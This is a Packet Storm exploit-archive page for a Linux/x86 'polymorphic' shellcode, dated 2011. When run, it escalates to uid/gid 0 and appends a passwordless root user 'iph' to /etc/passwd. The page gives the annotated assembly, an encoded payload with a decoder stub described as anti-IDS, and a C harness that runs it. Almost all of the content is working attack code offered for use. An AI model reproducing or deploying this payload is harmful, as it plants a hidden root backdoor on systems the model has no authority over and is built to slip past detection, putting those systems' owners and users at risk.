what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Polymorphic Add User Shellcode

Polymorphic Add User Shellcode
Posted Jan 1, 2012
Authored by Pentesters.ir

Linux/x86 polymorphic shellcode that escalates uid/gid and adds user iph to /etc/passwd without a password.

tags | x86, shellcode
systems | linux
SHA-256 | c76ec179be82bd66c6ce5163485d57eea3d44050cf6f706dcc2af9eaea0200dd

Polymorphic Add User Shellcode

Change Mirror Download
/*
# Exploit Title: Linux/x86 Polymorphic ShellCode - setuid(0)+setgid(0)+add user 'iph' without password to /etc/passwd
# setuid() - setgid() - open() - write() - close() - exit()
# Date: 30/12/2011
# Author: pentesters.ir
# Tested on: Linux x86 - CentOS 6.0 - 2.6.32-71
# Website: http://pentesters.ir/
# Contact: Cru3l.b0y@gmail.com
# By: Cru3l.b0y
# iph::0:0:IPH:/root:/bin/bash
# This ShellCode is Anti-IDS
# Encode: ADD 10

"\xb0\x17" // mov $0x17,%al
"\x31\xdb" // xor %ebx,%ebx
"\xcd\x80" // int $0x80
"\xb0\x2e" // mov $0x2e,%al
"\x53" // push %ebx
"\xcd\x80" // int $0x80
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x68\x73\x73\x77\x64" // push $0x64777373
"\x68\x2f\x2f\x70\x61" // push $0x61702f2f
"\x68\x2f\x65\x74\x63" // push $0x6374652f
"\x89\xe3" // mov %esp,%ebx
"\x66\xb9\x01\x04" // mov $0x401,%cx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\x6a\x04" // push $0x4
"\x58" // pop %eax
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x68\x62\x61\x73\x68" // push $0x68736162
"\x68\x62\x69\x6e\x2f" // push $0x2f6e6962
"\x68\x6f\x74\x3a\x2f" // push $0x2f3a746f
"\x68\x3a\x2f\x72\x6f" // push $0x6f722f3a
"\x68\x3a\x49\x50\x48" // push $0x4850493a
"\x68\x3a\x30\x3a\x30" // push $0x303a303a
"\x68\x69\x70\x68\x3a" // push $0x3a687069
"\x89\xe1" // mov %esp,%ecx
"\x6a\x1c" // push $0x1c
"\x5a" // pop %edx
"\xcd\x80" // int $0x80
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x1
"\x58" // pop %eax
"\xcd\x80" // int $0x80
*/

// ##### ANTI IDS SHELLCODE #####

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char sc[] =
"\xeb\x11\x5e\x31\xc9\xb1\x64\x80\x6c\x0e\xff\x0a\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xba\x21\x3b\xe5"
"\xd7\x8a\xba\x38\x5d\xd7\x8a\x74\x0f\x62\x3b\xd3\x5b\x72"
"\x7d\x7d\x81\x6e\x72\x39\x39\x7a\x6b\x72\x39\x6f\x7e\x6d"
"\x93\xed\x70\xc3\x0b\x0e\xd7\x8a\x93\xcd\x74\x0e\x62\x3b"
"\xdc\x5c\x72\x6c\x6b\x7d\x72\x72\x6c\x73\x78\x39\x72\x79"
"\x7e\x44\x39\x72\x44\x39\x7c\x79\x72\x44\x53\x5a\x52\x72"
"\x44\x3a\x44\x3a\x72\x73\x7a\x72\x44\x93\xeb\x74\x26\x64"
"\xd7\x8a\x74\x10\x62\xd7\x8a\x74\x0b\x62\xd7\x8a";

int main()
{
int (*fp)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
fp();
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close